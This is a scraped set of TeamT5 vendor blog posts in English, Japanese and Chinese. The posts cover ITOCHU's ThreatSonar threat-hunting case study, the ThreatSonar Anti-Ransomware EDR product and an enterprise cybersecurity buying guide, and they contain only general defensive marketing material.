"ITCCERT focuses on incident prevention, and we work every day with the belief that it is important to prevent incidents from occurring," Mr. Sato emphasizes.

##ITOCHU Group's threat hunting services
On the other hand, the ITOCHU Group's companies and its overseas bases use a network different from that of ITOCHU Corporation's headquarters, so these defense measures can't result in direct effects.

For this reason, ITCCERT develops a special cyber security program "I" series for group companies and overseas locations.

This program covers wide-ranging services, including URL filtering services, business email fraud prevention tools, cybersecurity-specific risk assessments, and workshops that can be immediately useful in actual work.
One of the services, "I" Discovery, is an endpoint security service that inspects malware hidden on devices, and has a track record of threat inspections on more than 20,000 devices since its launch in October 2017. Its core technology uses the hunting tool "ThreatSonar" developed by TeamT5 from Taiwan.

##Forensic technology collects essential information for threat hunting
ThreatSonar quickly collects data needed for computer forensics, including information about running processes on a device, deleted files, and data in memory. By analyzing the collected data using a proprietary engine, it is possible to precisely extract suspicious files.

It uses a unique AI-assisted behavioral model to detect suspicious behavior, allowing for thorough investigations that cannot be detected by signature-based antivirus solutions. The collected data is analyzed by ITCCERT staff with specialized knowledge, making it possible to detect hidden malware that cannot be detected by existing antivirus software.

In addition, by jointly analyzing the detection results between ITCCERT and the information systems departments of each group company, Macnica can quickly determine the appropriate response.

##Discover threats that cannot be detected by existing endpoint security solutions
Among the various endpoint security solutions, Mr. Sato chose ThreatSonar because its basic technology is not an antivirus, but an excellent software that can significantly improve security levels.

The ITOCHU Group has over 300 subsidiaries and approximately 100,000 employees. Furthermore, from the perspective of a trading company, the establishment of joint ventures and capital and business alliances are thriving. Therefore, the ITOCHU Group does not force the installation of specific endpoint security products, and each company installs the most suitable product based on its requirements. The only thing that all companies have in common is that they have installed antivirus products.

Next-generation antivirus products are also an extension of existing antivirus software. Antivirus vendors have strengths and weaknesses in technology, and it is difficult to comprehensively eliminate all threats. For me, ThreatSonar is very appealing security product that enables companies to utilize the existing antivirus software and to detect threats with its unique features.

When Macnica started offering “I” Discovery, more than 50 group companies volunteered to use the service. More than half of the companies that applied for the program performed one-time scanning. Some companies began to perform regular scans. Information systems departments at companies that regularly run “I” Discovery are satisfied with the capabilities to confirm that their devices have not been compromised by unknown or evasive attacks, which cannot be detected by existing security products. 

##Ease of implementation is the deciding factor for expansion to group companies
"ThreatSonar does not require any installation. It simply distributes and runs a lightweight scanner, so it runs in the background without requiring any knowledge or operational skills from the users. Another advantage is that the operation communication is light, so there is less burden on the network, and there are no problems such as conflicts with the OS or applications and environment dependence.'' says  Motohiko Sato.

##Build a monitoring system even at overseas bases with limited resources
There have been reports of cases in which banking malware that had been hidden in legitimate processes for many years was discovered by implementing “I” Discovery. Mr. Sato also believes that it is reassuring that the system detects not only active malware, but also latent malware and high-risk software installed by users.

Additionally, “I” Discovery is also adopted by users based overseas. Some overseas locations may not have an IT administrator, or even only have one expatriate employee. Additionally, the devices at overseas locations vary in Windows OS versions and languages. One of the advantages of ThreatSonar is that it can be easily deployed in such environments and there are no operational problems.

Finally, Mr. Sato said that ITCCERT is considering applying custom signatures to "I" Discovery in the future, and will work to further strengthen the ITOCHU Group's security.

##User Profile
**ITOCHU Corporation**

ITOCHU Corporation was founded in 1858 when the Company's founder Chubei Itoh commenced linen trading operations in Azabu.  Afterwards, he built a foundation for his business by running a kimono and goods business in Osaka. Currently, as a major general trading company with approximately 130 bases in 65 countries around the world including Japan, ITOCHU is a major trading company in the fields of textiles, machinery, metals, energy, chemicals, food, housing, information, insurance, logistics, construction, and finance and engages in a wide range of businesses, including import/export and trilateral transactions, as well as business investment both domestically and internationally.

**Website**:
https://www.itochu.co.jp/

**Interviewee**:

ITOCHU Corporation - IT Planning Department - Technology Management Office

ITCCERT - Senior Cyber Security Analyst

Mr. Motohiko Sato

>Original article is from: [Macnica](https://www.macnica.co.jp/business/security/manufacturers/mpressioncss/feature_01.html)


Extend threat hunting services to overseas bases by ITOCHU CSIRT

>マクニカネットワークスでは、[ThreatSonar](https://teamt5.org/jp/products/threatsonar/?utm_source=blog&utm_medium=website)のスキャン結果の分析、スレットハンティングを
お客様に代わってマクニカのセキュリティアナリストが実施する「Mpression Cyber Security Service™スレッ
トハンティングサービス」を提供しています。また、マクニカが蓄積する脅威インテリジェンスをベースにし作成されるカスタムシグネチャを反映することで、日本を狙う標的型攻撃の検知率の向上を図っています。
>
>スレットハンティングサービスは、「ワンショット」での利用と「年間」利用の2つのメニューをご用意しております。

##Point
- 既存のセキュリティ製品をすり抜けることを前提にした高度な標的型攻撃を、 AI技術を用いた独自のセンサーとアナリストによる分析で検出 
- 2万台の端末を調査し、情報収集から検知、対応までの診断ライフサイクルを確立
- IT管理者がいない海外拠点の端末の安全性を可視化

##インシデントの予防にフォーカスした伊藤忠商事のITCCERT
近年のサイバー攻撃は、犯罪目的の産業化によって技術や手法が高度化・巧妙化し、企業や組織を標的とした攻撃は経営上の大きなリスクになっている。

また、ランサムウェアやビジネスメール詐欺のように金銭を目的とした攻撃は、多くの企業にとって身近な脅威である。

そのため、最近では、コンピュータセキュリティにかかるインシデントに対処するための組織である CSIRT（Computer Security Incident Response Team）を設置する動きが活発化しつつある。
 
伊藤忠商事株式会社（以下、伊藤忠商事）がCSIRTを発足したのは2012年のことだ。同社のCSIRTは「ITCCERT」と呼ばれている。“R” には、準備（Readiness）・対応（Response）・復旧（Recovery）の3つの要素を含むという。
 
「ITCCERTは全社のネットワークを管理・運用するIT企画部の中に仮想的に作られた組織です。
ITCCERTはサイバーセキュリティ運用に特化し、インシデントの防止、対応、分析、再発防止などを中心に実施します。また、300 社以上存在する伊藤忠グループ企業からも支援要請があれば直接の支援を行います」と語るのは、伊藤忠商事IT企画部 技術統括室ITCCERT上席サイバーセキュリティ分析官の佐藤 元彦氏だ。
 
伊藤忠商事ではカンパニー制をとり、各カンパニーでも情報システム部門が個別に設置されているが、サイバーセキュリティインシデントが発生した際はITCCERTが中心となって対応を実施する。
 
また、ITCCERTではネットワークの通信や社外から送信されてくるEメールなどを常時監視している。自社で蓄積したナレッジを基に独自の検知ルールを設定することで、既存のセキュリティ製品では検知できない特徴を把握し、万が一同様の攻撃が発生した時に検知できるルールを常生み出している。
 
独自のインテリジェンス活動で得られたマルウェアの通信先やハッシュなどの情報は伊藤忠商事を守るために使われ、同社のセキュリティ事案の発生を未然に防止している。　
 
「ITCCERTはインシデントのプリベンション（予防）にフォーカスしており、インシデントを起こさないことが重要と考え日々活動しています」と佐藤氏は強調する。
 
 ## 伊藤忠グループのスレットハンティングサービス
一方、伊藤忠グループや海外拠点は、伊藤忠商事本社のネットワークとは異なるネットワークを使っているため、これらの防御効果が直接の効果を発揮しない。
 
そのため、ITCCERTでは、グループ会社や海外拠点に向けた特別なサイバーセキュリティプログラム「“I” シリーズ」を展開している。
 
その内容はURLフィルタリングサービス、ビジネスメール詐欺対策ツール、サイバーセキュリティに特化したリスクアセスメント、実業務ですぐに役立つワークショップなど多岐に渡る。
 
そのメニューの1つ、「“I” Discovery」は、端末に潜伏するマルウェアを検査するエンドポイントセキュリティで、2017年10月のサービス開始から2万台以上の端末に対し脅威検査した実績を持つ。その中核技術には、台湾のTeam T5が開発したハンティングツール「ThreatSonar」が活用されている。
 
##ハンティングに必要不可欠な情報を収集するフォレンジック技術
ThreatSonarは端末の実行中プロセスや削除されたファイルに関する情報、メモリ上のデータなどコンピュータ・フォレンジックに必要な情報を素早く収集する。収集した情報を独自のエンジンで解析することで不審ファイルの精緻な抽出が可能だ。AIが補助する独自のビヘイビアモデルで不審な挙動を検出するため、シグネチャベースのアンチウイルスで検知できないような徹底した調査が可能だという。収集した情報は専門知識を持つITCCERTのスタッフが分析することにより、既存のウイルス対策ソフトでは検知できないマルウェアが潜伏している場合も検出可能になった。また、検出結果をITCCERTと各グループ会社の情報システム部門が共同で結果を分析することで、早期に適正な対応が判断できるようになっている。
 
 ##既存のエンドポイントセキュリティでは検知できない脅威を発見
さまざまなエンドポイントセキュリティの手法がある中で、ThreatSonarを選んだ理由について、佐藤氏は、基本技術がアンチウイルスではない点と、セキュリティレベルを大きく向上できるソフトウェアとしての優秀性を挙げる。
 
伊藤忠グループの子会社は300社を超え、従業員数は約10万人に上る。さらに、商社という側面から合弁会社の設立や資本業務提携も活発である。そのため、伊藤忠グループでは特定のエンドポイントセキュリティ製品の導入を強制しておらず、各社の要件に基づいて最適な製品が導入されている。各社に共通しているのは、アンチウイルス製品を導入している点ぐらいだ。
 
 「次世代アンチウイルス製品もアンチウイルスの延長線上です。アンチウイルスベンダーは技術の得手不得手があり、全ての脅威を網羅的に排除するのは難しい。そのため、各社が利用している既存のアンチウイルスを活用しながら、独自の機能ですり抜けた脅威を検出できるセキュリティ製品として ThreatSonarはとても魅力的でした。」
 
 “I” Discoveryの提供を開始したところ、50社以上のグループ企業がサービスの利用に手をあげた。ワンショットのスキャンを行った企業は申込企業の半数を超え、定期実行を行う企業も出始めた。“I” Discoveryの定期実行を行う企業の情報システム部門は、既存のセキュリティ製品で検出できない未知の攻撃や、検知を回避するような攻撃によって自社端末が侵害されていないことを確認できる点に満足しているという。
 
 “I” Discoveryの提供を開始したところ、50社以上のグループ企業がサービスの利用に手をあげた。ワンショットのスキャンを行った企業は申込企業の半数を超え、定期実行を行う企業も出始めた。“I” Discoveryの定期実行を行う企業の情報システム部門は、既存のセキュリティ製品で検出できない未知の攻撃や、検知を回避するような攻撃によって自社端末が侵害されていないことを確認できる点に満足しているという。
 
 ##グループ会社への展開は導入の容易さが決め手
「ThreatSonarはインストールの必要はありません。軽量なスキャナーを配布して実行するだけなので、ユーザ側に知識や運用のスキルを求めず、全てバックグラウンドでサイレントに動作します。
 
また、動作中の通信量は軽微なためネットワークへの負担が少なく、OSやアプリケーションなどとの競合や環境依存などの問題が起きないのもメリットです」（佐藤氏）
 
 ##リソースの限られた海外拠点でも監視体制を構築
“I” Discoveryを実施することにより、長年正規のプロセスに隠れていたバンキングマルウェアが見つかった事例も報告されているという。また、アクティブなマルウェアだけではなく、潜伏状態のマルウェアや、ユーザによってインストールされたリスクを含んだソフトウェアを検出するのは心強いと佐藤氏は評価する。
 
なお、“I” Discoveryは海外拠点のユーザも利用している。海外拠点によってはIT管理者が不在、さらには駐在員が1名しかいないケースもある。また、海外拠点で使用している端末はWindowsのOSバージョンや言語も様々だ。そのような環境でも容易に展開でき、運用面でも問題が起きないのが ThreatSonarのメリットのひとつだ。
 
最後に、ITCCERTでは今後、“I” Discoveryにカスタムシグニチャの適用を検討しており、伊藤忠グループのセキュリティの更なる強化に取り組んでいくと佐藤氏は語ってくれた。
 
 ##User Profile
**伊藤忠商事株式会社**
1858年（安政5年）に、近江商人だった初代伊藤忠兵衛が麻布（まふ）の行商で創業。その後大阪で呉服太物商を営み事業の礎を築いた。現在は日本を含む世界65ヶ国に約130の拠点を持つ大手総合商社として、繊維、機械、金属、エネルギー、化学品、食料、住生活、情報、保険、物流、建設、金融の各分野において国内、輸出入および三国間取引を行うほか、国内外における事業投資など、幅広いビジネスを展開する。

 

**公式ウェブサイト**

https://www.itochu.co.jp

 

**回答者**

伊藤忠商事株式会社 - IT企画部 - 技術統括室

ITCCERT - 上席サイバーセキュリティ分析官

佐藤 元彦 氏
 
 
 >元記事はこちらから: [Macnica](https://www.macnica.co.jp/business/security/manufacturers/mpressioncss/feature_01.html)

伊藤忠商事CSIRTが海外拠点にも展開するスレットハンティングサービス

The average dwell time of cyberattacks fell to a median of eight days in the first half of 2023, but attackers are moving faster._[1]_ It only takes about 16 hours for an attacker to gain access to the Active Directory (AD) system and perform various malicious activities through privilege escalation and lateral movement.

At the same time, ransomware attacks continue to grow. According to the annual crime report released by cryptocurrency-tracing company Chainalysis, the number of ransomware attacks in 2023 increased significantly by 70% compared with 2022, causing ransomware payments to hit a record $1.1 billion. _[2]_

## EDR is indispensable to enhance defense in depth
As attackers' techniques continue to evolve and attack faster, it becomes necessary for enterprises to adopt a "defense-in-depth" cybersecurity strategy in order to effectively respond to cybersecurity risks. Through a variety of cybersecurity solutions, corporate networks and digital assets are protected at multiple levels. Even if an attacker destroys one layer of defense, the existence of other security defense measures can effectively prevent the attacker from accessing the network or internal resources, effectively mitigate the threat, and reduce the damage to the overall environment.

EDR is critical for defense in depth, used to protect servers, mobile devices and other endpoints from network security threats. It should be able to check files and programs in a timely manner, quickly identify potential threats, and effectively respond to possible malicious attacks and reduce enterprise cybersecurity risks.

ThreatSonar Anti-Ransomware Endpoint Detection & Response platform provides comprehensive endpoint protection, while improving defense in depth and solving pain points in enterprise cybersecurity deployment.
- **Comprehensive monitoring of endpoints**: Different from stacking multi-layered defense architecture on the network, ThreatSonar Anti-Ransomware provides 7x24 full-time monitoring of endpoint security.
- **Compatible with other solutions**: Solving the limitation that enterprises can only choose one product for endpoint defense.
- **Lightweight deployment**: Unlike most endpoint APT threat solutions that require driver installation.

## Visualize attack trajectories to investigate incidents and response in a timely manner
ThreatSonar Anti-Ransomware provides real-time threat detection and in-depth threat hunting functions. It not only supports high-risk threat alerts, but also finds objects and logs related to the threat through correlation analysis, which facilitate the security personnel to understand the full picture of intrusion through the incident timeline.

In order to allow users to quickly understand potential threats, the incident page of ThreatSonar Anti-Ransomware can provide an overview of the incident trajectory, starting from the hosts that were severely compromised in the incident, to comprehensively take stock of the endpoint security status.

 

![UI_EN_1_threatsonar-anti-ransomware-visualize-cyber-threat-incident.gif](https://uploads.teamt5.org/upload/original/UI_EN_1_threatsonar-anti-ransomware-visualize-cyber-threat-incident.gif)

 


**1. Real-time Detection: **
Once ThreatSonar Anti-Ransomware detects a threat incident, iit automatically provides an incident summary and response suggestions, grasps the incident status, and handles it in a timely manner to reduce the risks caused by the threat.

**2. In-depth Analysis: **
If users would like to have further incident investigation, the analysis report bundle can be directly downloaded to make analysis more efficient.

**3. Take Actions: **
Users can take actions and dispatch the tasks, such as scan and isolation, on the endpoints.

 

![UI_EN_2_threatsonar-anti-ransomware-visualize-cyber-threat-incident.jpg](https://uploads.teamt5.org/upload/original/UI_EN_2_threatsonar-anti-ransomware-visualize-cyber-threat-incident.jpg)

 



When a ransomware attack occurs, ThreatSonar Anti-Ransomware can promptly detect, immediately respond, and grasp the attack path. Ransomware can be blocked immediately when hitting the policy rule. With the detailed incident reports of ThreatSonar Anti-Ransomware, users can understand endpoint information and malware execution process. Also, users can furtherly investigate the intrusion access points of hackers, obtain the root cause of intrusion, analyze the hacker's movement path, and check damages of the compromised assets.


 

[1] “[Attack Dwell Times Fall but Threat Actors Are Moving Faster](https://www.infosecurity-magazine.com/news/attack-dwell-times-faster/)”, Infosecurity Magazine, 2023

[2] “[Ransomware Payments Hit a Record $1.1 Billion in 2023](https://www.wired.com/story/ransomware-payments-2023-breaks-record/)”, WIRED, 2024

 
>TeamT5 consists of top cyber threat analysts. Leveraging our geographic and cultural advantages, we have the best understanding of cyber attackers in Asia Pacific. TeamT5 is frequently invited to share insights at top cybersecurity conferences. Our threat intelligence research expertise and solutions are recognized as the 2023 Company of the Year Award in Taiwanese Threat Intelligence by Frost & Sullivan.
>
>Contact us and know more of intelligence-driven cybersecurity solutions 
>[https://teamt5.org/en/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)

ThreatSonar Anti-Ransomware Visualizes Cyber Threat Incident and Respond Immediately with One Click

儘管 2023 年上半年網路攻擊的平均停留時間下降至 8 天_[1]_ ，但攻擊者的行動速度更快。攻擊者存取 Active Directory（AD）系統只需約 16 小時，藉由提權及橫向移動，執行各種惡意活動。

同時，勒索軟體的威脅仍與日俱增。根據加密貨幣追蹤公司 Chainalysis 所發布的年度犯罪報告指出，2023 年勒索攻擊事件數較 2022 年大幅成長 70%，致使 2023 年勒索支付金額超過 11 億美元，達歷史新高。_[2]_

## 健全縱深防禦，EDR 端點防護技術不可或缺
當攻擊者的技術不斷進化、攻擊速度更快，企業要能有效應對資安風險，採用「縱深防禦」網路安全策略成為必要。藉由多種資安解決方案，多層次保護企業網路及數位資產。即便攻擊者破壞了其中一道防線，其他資安防禦措施的存在，有效防止攻擊者存取網路或內部資源，有效緩解威脅，減輕對整體網路的損害。

EDR 端點防護即是縱深防禦的關鍵防線，用來保護伺服器、行動裝置等端點免受網路安全威脅的解決方案，需要能夠及時檢查檔案、程式，快速識別潛在威脅，並有效應對可能的惡意攻擊，降低企業的資安風險。

[ThreatSonar Anti-Ransomware 威脅鑑識與回應平台](https://teamt5.org/tw/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website)提供了端點防護所需，在健全縱深防禦的同時，解決企業資安部署上的痛點。
- **全面監控端點**：有別於在網路上堆疊多層式防禦架構，ThreatSonar Anti-Ransomware 提供 7x24 的全時監控端點安全方案。
- **相容於其他方案**：解決企業在端點防禦上只能選擇一種產品的侷限。
- **輕量部署**：有別於多數端點 APT 威脅解決方案需要安裝驅動程式的部署方式。

## 可視化攻擊軌跡，更快掌握事件、及時處置
ThreatSonar Anti-Ransomware 提供及時威脅偵測、完整的威脅狩獵功能，不僅提供高風險威脅告警，並可透過關聯分析，找到與該威脅相關的物件與事件紀錄，藉由事件時間軸了解威脅入侵全貌。

為讓使用者能夠快速掌握可能潛在威脅，在 ThreatSonar Anti-Ransomware 的事件頁面中，可一覽事件發生軌跡，從事件中嚴重受駭的主機出發，全面盤點端點安全狀態。

 

![UI_TW_1_threatsonar-anti-ransomware-visualize-cyber-threat-incident.gif](https://uploads.teamt5.org/upload/original/UI_TW_1_threatsonar-anti-ransomware-visualize-cyber-threat-incident.gif)

 

**1. 及時偵測：**

ThreatSonar Anti-Ransomware 一偵測到威脅事件，自動提供事件摘要、處置建議，掌握事件狀況、並做及時處置，減少威脅所帶來的損害風險。

**2. 深度分析：**

若要進一步進行事件分析，可直接在事件頁面上下載報告分析包，讓事件分析更有效率。

**3. 加速回應：**

根據節點的詳細的資訊，使用者可直接對端點採取對應行動，降低威脅侵害。例如遇到攻擊事件發生時，可開啟「限制網路」功能，該程式將無法向內/外部進行連線。或是對節點進行「隔離檔案」，將有害檔案和潛在惡意應用程式隔離，使其不損害端點。


![UI_TW_2_threatsonar-anti-ransomware-visualize-cyber-threat-incident.jpg](https://uploads.teamt5.org/upload/original/UI_TW_2_threatsonar-anti-ransomware-visualize-cyber-threat-incident.jpg)

 

當發生勒索攻擊，ThreatSonar Anti-Ransomware 可及時偵測、立即攔截、掌握攻擊路徑。當威脅命中規則，立即阻斷勒索威脅。藉由 ThreatSonar Anti-Ransomware 詳盡的事件報告，了解端點資訊、惡意程式執行過程相依性，使用者能夠進一步調查駭客可能的入侵存取點，獲取駭侵根因（root cause）、掌握駭客移動路徑、盤點威脅損害。

 
[1] "[Attack Dwell Times Fall but Threat Actors Are Moving Faster](https://www.infosecurity-magazine.com/news/attack-dwell-times-faster/)", Infosecurity Magazine, 2023

[2] "[Ransomware Payments Hit a Record $1.1 Billion in 2023](https://www.wired.com/story/ransomware-payments-2023-breaks-record/)", WIRED, 2024

 
>杜浦數位安全 TeamT5 為網路威脅狩獵專家，團隊具備超過20年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
>歡迎聯絡我們，了解備受客戶肯定的資安產品與服務 
>[https://teamt5.org/tw/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)

ThreatSonar Anti-Ransomware 可視化威脅事件，簡易立即處置

サイバー攻撃の平均滞留時間は、2023年上半期には平均8日間に減少しましたが、攻撃者の動きはより速くなっています[1]。攻撃者がActive Directory（AD）システムにアクセスし、権限の昇格やラテラルムーブメントを通じてさまざまな悪意のある活動を実行するのに必要な時間は、わずか約16時間しかかかりません。

同時に、ランサムウェア攻撃は増加し続けています。暗号通貨追跡会社 Chainalysis が発表した年次犯罪レポートによると、2023 年のランサムウェア攻撃の数は 2022 年と比較して 70% 大幅に増加し、ランサムウェアの支払いは過去最高の 11 億ドルに達しました。[2]

##EDR は多層防御の強化に不可欠

攻撃者の手法が進化し、攻撃のスピードが速まるにつれて、企業はサイバーセキュリティリスクに効果的に対応するため、「多層防御」のサイバーセキュリティ戦略を採用する必要があります。さまざまなサイバーセキュリティソリューションを通じて、企業ネットワークとデジタル資産は多層的に保護されます。攻撃者が 1 つの防御層を破壊したとしても、他のセキュリティ防御手段があれば、攻撃者がネットワークや内部リソースにアクセスするのを効果的に防ぎ、脅威を効果的に軽減し、環境全体への被害を軽減できます。



EDR は多層防御に不可欠であり、サーバー、モバイルデバイス、その他のエンドポイントをネットワークセキュリティの脅威から保護するために使用されます。ファイルとプログラムをタイムリーにチェックし、潜在的な脅威を迅速に特定および悪意のある攻撃の可能性に効果的に対応して、企業のサイバーセキュリティリスクを軽減する必要があります。

ThreatSonar Anti-Ransomwareエンドポイント検出応答プラットフォームは、包括的なエンドポイント保護を提供し、多層防御を向上させ、企業のサイバー セキュリティ展開における問題点を解決します。

- **エンドポイントの包括的な監視**: ネットワーク上に多層防御アーキテクチャを積み重ねるのとは異なり、ThreatSonar Anti-Ransomware は、エンドポイント セキュリティの 24時間フルタイム監視をいたします。
- **他のソリューションとの互換性**: 企業がエンドポイント防御に 1 つの製品しか選択できないという制限を取り払います。
- **軽量な展開**: ドライバーのインストールが必要なほとんどのエンドポイント APT 脅威ソリューションとは異なります。

##攻撃の軌跡を視覚化し、インシデント調査を行い、タイムリーに対応

ThreatSonar Anti-Ransomware は、リアルタイムの脅威検出と詳細な脅威ハンティング機能を提供します。高リスクの脅威アラートを発するだけでなく、相関分析を通じて脅威に関連するオブジェクトとログを見つけ、セキュリティ担当者がインシデントのタイムラインを通じて侵入の全体像を把握できるようにします。

ユーザーが潜在的な脅威をすばやく理解できるように、ThreatSonar Anti-Ransomware のインシデントページでは、インシデントで深刻な侵害を受けたホストを始めとした、インシデントの軌跡の概要を提供し、エンドポイントのセキュリティ状態を包括的に把握できます。

**1. リアルタイム検出**: ThreatSonar Anti-Ransomware が脅威インシデントを検出すると、インシデントの概要と対応の提案を自動的に提供し、インシデントの状態を把握して、脅威によって引き起こされるリスクを軽減するための処理をタイムリーに行います。

**2. 詳細な分析**: ユーザーが更なるインシデント調査を希望する場合は、分析レポート バンドルを直接ダウンロードすることで、分析をより効率的に行うことが可能です。

**3. アクションの実行**: ユーザーは、エンドポイントでアクションを実行し、スキャンや隔離などのタスクをディスパッチできます。

 
ランサムウェア攻撃が発生した場合、ThreatSonar Anti-Ransomwareは迅速に検知ならびに即時対応し、攻撃経路を把握することができ、ポリシールールにヒットしたランサムウェアは即座にブロックすることが可能です。そして、ThreatSonar Anti-Ransomware の詳細なインシデントレポートにより、エンドポイント情報やマルウェアの実行プロセスを把握することができます。また、ハッカーの侵入アクセスポイントをさらに調査し、侵入の根本原因の把握、ハッカーの移動経路の分析を行い、侵害された資産の損害を確認することが可能です。

 
 
[1] "[Attack Dwell Times Fall but Threat Actors Are Moving Faster](https://www.infosecurity-magazine.com/news/attack-dwell-times-faster/)", Infosecurity Magazine, 2023

[2] "[Ransomware Payments Hit a Record $1.1 Billion in 2023](https://www.wired.com/story/ransomware-payments-2023-breaks-record/)", WIRED, 2024

ThreatSonar Anti-Ransomware によるサイバー脅威インシデントの可視化と迅速な対応

This article brings together [TeamT5](https://teamt5.org/en/about-us/?utm_source=blog&utm_medium=website) ’s 20+ years of professional experience in cybersecurity defense and keys of cybersecurity defense for enterprise. Also, we analyze the key points that should be paid attention to when selecting cybersecurity solutions and services. We hope it will be helpful to enterprises and build cybersecurity resilience together!


## The key to enterprise cybersecurity defense
As a preliminary reference, you may refer to the NIST Cybersecurity Framework, which was proposed by the National Institute of Standards and Technology in the United States. Through systematic and structured standards, it helps enterprises review the deficiencies of their own cybersecurity defenses and strengthen them for specific projects. See this article for more details - “[How to Check the Cybersecurity Defense Status of the Enterprise according to the NIST Cybersecurity Framework?](https://teamt5.org/en/posts/how-to-check-cyber-resilience-of-the-enterprise-based-on-nist-cybersecurity-framework/?utm_source=blog&utm_medium=website)”.

Furthermore, cybersecurity defense is like a long-term competition between enterprises and malicious attackers. We believe that cyber threat intelligence is the fundamental of all cybersecurity strategies. It provides insights into the tactics, techniques, and procedures (TTPs) of adversaries, enabling organizations to prepare, prevent, and identify cyber threats that could exploit valuable resources. Please see this whitepaper for more details - “ [【Whitepaper】Understanding Threat Intelligence & The Threat Landscape with TeamT5](https://teamt5.org/en/posts/whitepaper-understanding-threat-intelligence-and-the-threat-landscape-with-team-t5/?utm_source=blog&utm_medium=website)”.

In daily operations, we particularly emphasize that enterprises adopt threat hunting strategies to help enterprises take proactive defensive measures, strengthen their cybersecurity resilience, and ensure uninterrupted business operations. See this article for more details - ”[The benefits of threat hunting: The key to greater security resilience for enterprise](https://teamt5.org/en/posts/the-benefits-of-threat-hunting-the-key-to-greater-security-resilience-for-enterprise/?utm_source=blog&utm_medium=website)”.


## Cyber incidents in daily operations
Various cyber incidents might happen in daily operations. We provide case studies and suggestions for enterprises below. 

#### Cyber Incident: Advanced persistent threat attack
As hacker attack technology continues to evolve, advanced persistent threat (APT) techniques are becoming even more complex. More and more malicious programs are able to bypass EDR (Endpoint Detection and Response) and use legitimate tools to control endpoints.

To deal with endless APT attacks, how should enterprises or organizations effectively deal with them? The following case reveals how TeamT5 actually assists enterprise organizations to handle APT attacks. In this case, you may understand hacker attack techniques and how incident response measures reduce the losses to strengthen future cybersecurity defense.

- **Case Study**: [link](https://teamt5.org/en/posts/ir-use-case-how-to-respond-to-advanced-persistent-threat-apt/?utm_source=blog&utm_medium=website)

####Cyber Incident: Ransomware
When an enterprise or organization faces a destructive cyber attack, time is of the essence in order to be able to respond and recover from it. If the attacker group can be detected at an early stage when they have infiltrated the victim organization's network, there is still a chance to effectively block the attacker group's behavior immediately, with less impact on the enterprise or organization.

How can enterprises or organizations respond to ransomware effectively? Through the following sharing of the case in which TeamT5 assists enterprises and organizations in cybersecurity incidents you may learn how to strengthen cybersecurity defense, not only prevent malicious attacks, but also minimize the losses caused by cyber threats.

- **Case Study**: [link](https://teamt5.org/en/posts/ir-use-case-how-to-respond-to-ransomware-attack/?utm_source=blog&utm_medium=website)

####Cyber Incident: Personal information leaked
Hackers often use various network attack methods, such as zero-day attacks, phishing, brute force attacks, social engineering, malware, etc., in an attempt to gain system access and sensitive data. Then, the data is used to target enterprises, governments, or individuals. All these cyber threat events pose a major threat. Taking the leakage of personal information as an example, it causes people to lose money due to fraud and directly damages the reputation of enterprises.

How should companies or organizations effectively deal with cybersecurity incidents caused by malicious attacks? The following is a case in which TeamT5 actually assists companies and organizations in handling personal data breach. In this case, you may learn (1) how hackers obtain sensitive personal data through network attacks; (2) the emergency response measures required to deal with the incident; (3) how to reduce the losses caused by the incident threat to the minimum, and plan the defense priorities for future.

- **Case Study**: [link](https://teamt5.org/en/posts/ir-use-case-how-to-respond-to-private-data-breach/?utm_source=blog&utm_medium=website)



## Key points for enterprises to purchase cybersecurity services and solutions

There are a wide variety of products and services that help enterprises achieve their cybersecurity defense strategic goals. We provide enterprises with evaluation and purchasing guides based on the categories of our expertise. Enterprises can understand the evaluation and procurement priorities for security incident response (IR), endpoint detection and response solutions (EDR), and threat intelligence platforms (TIP) based on their goals.


####Incident Response(IR): Key Considerations for Procurement
Incident Response services are designed to assist enterprises with immediate response and investigation of cybersecurity incidents and accidents to help them reduce damage. However, when selecting and procuring IR services, businesses need to carefully consider 5 key factors.

[Read the article](https://teamt5.org/en/posts/key-considerations-for-evaluating-incident-response-service-ir/?utm_source=blog&utm_medium=website)


####Endpoint Detection and Response (EDR) Solution: Key Considerations for Procurement
EDR (Endpoint Detection and Response) solution is a powerful tool that can help enterprises detect and respond to endpoint threats early. However, when selecting and purchasing EDR solutions, enterprises need to pay attention to 6 key points to ensure that the chosen solution meets their cybersecurity needs and can help the information system operate stably in the long term.

[Read the article](https://teamt5.org/en/posts/key-considerations-for-evaluating-endpoint-detection-and-response-edr-solutions/?utm_source=blog&utm_medium=website)

####Threat Intelligence Platform (TIP) : Key Considerations for Procurement
The threat intelligence platform provides critical threat intelligence to help enterprises identify, analyze and respond to threats. However, when selecting and purchasing a threat intelligence platform, enterprises need to carefully consider 5 key factors.

[Read the article](https://teamt5.org/en/posts/key-considerations-for-evaluating-threat-intelligence-platform-tip-solution/?utm_source=blog&utm_medium=website)

##Conclusion
With the advent of the digital age, enterprises are facing increasingly complex cyber threats. Enterprises should choose appropriate cybersecurity services and solutions based on their own needs and strategic goals in order to build cyber security resilience and achieve the defense goals.



>TeamT5 consists of top cyber threat analysts. Leveraging our geographic and cultural advantages, we have the best understanding of cyber attackers in Asia Pacific. TeamT5 is frequently invited to share insights at top cybersecurity conferences. Our threat intelligence research expertise and solutions are recognized as the 2023 Company of the Year Award in Taiwanese Threat Intelligence by Frost & Sullivan.
>
>Contact us and know more of intelligence-driven cybersecurity solutions 
>[https://teamt5.org/en/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)


Enterprise Cybersecurity Guide [2024]

本文匯集[TeamT5 杜浦數位安全的團隊](https://teamt5.org/tw/about-us/?utm_source=blog&utm_medium=website)逾20年的資安防禦專業經驗，與企業分享資安防禦的關鍵，並分析挑選資安解決方案、服務宜注意的關鍵。希望對企業有所幫助，一同打造資安韌性 !


## 企業進行資安防禦的關鍵
初步可參考 NIST 資安框架，其由美國國家標準與技術研究所提出，透過有系統、有架構的標準，協助企業檢視自身資安防禦的不足，並針對特定項目進行補強。更多說明請見此文章〈[如何依據 NIST 資安框架，檢查企業資安防禦狀況?](https://teamt5.org/tw/posts/how-to-check-cyber-resilience-of-the-enterprise-based-on-nist-cybersecurity-framework/?utm_source=blog&utm_medium=website)〉。

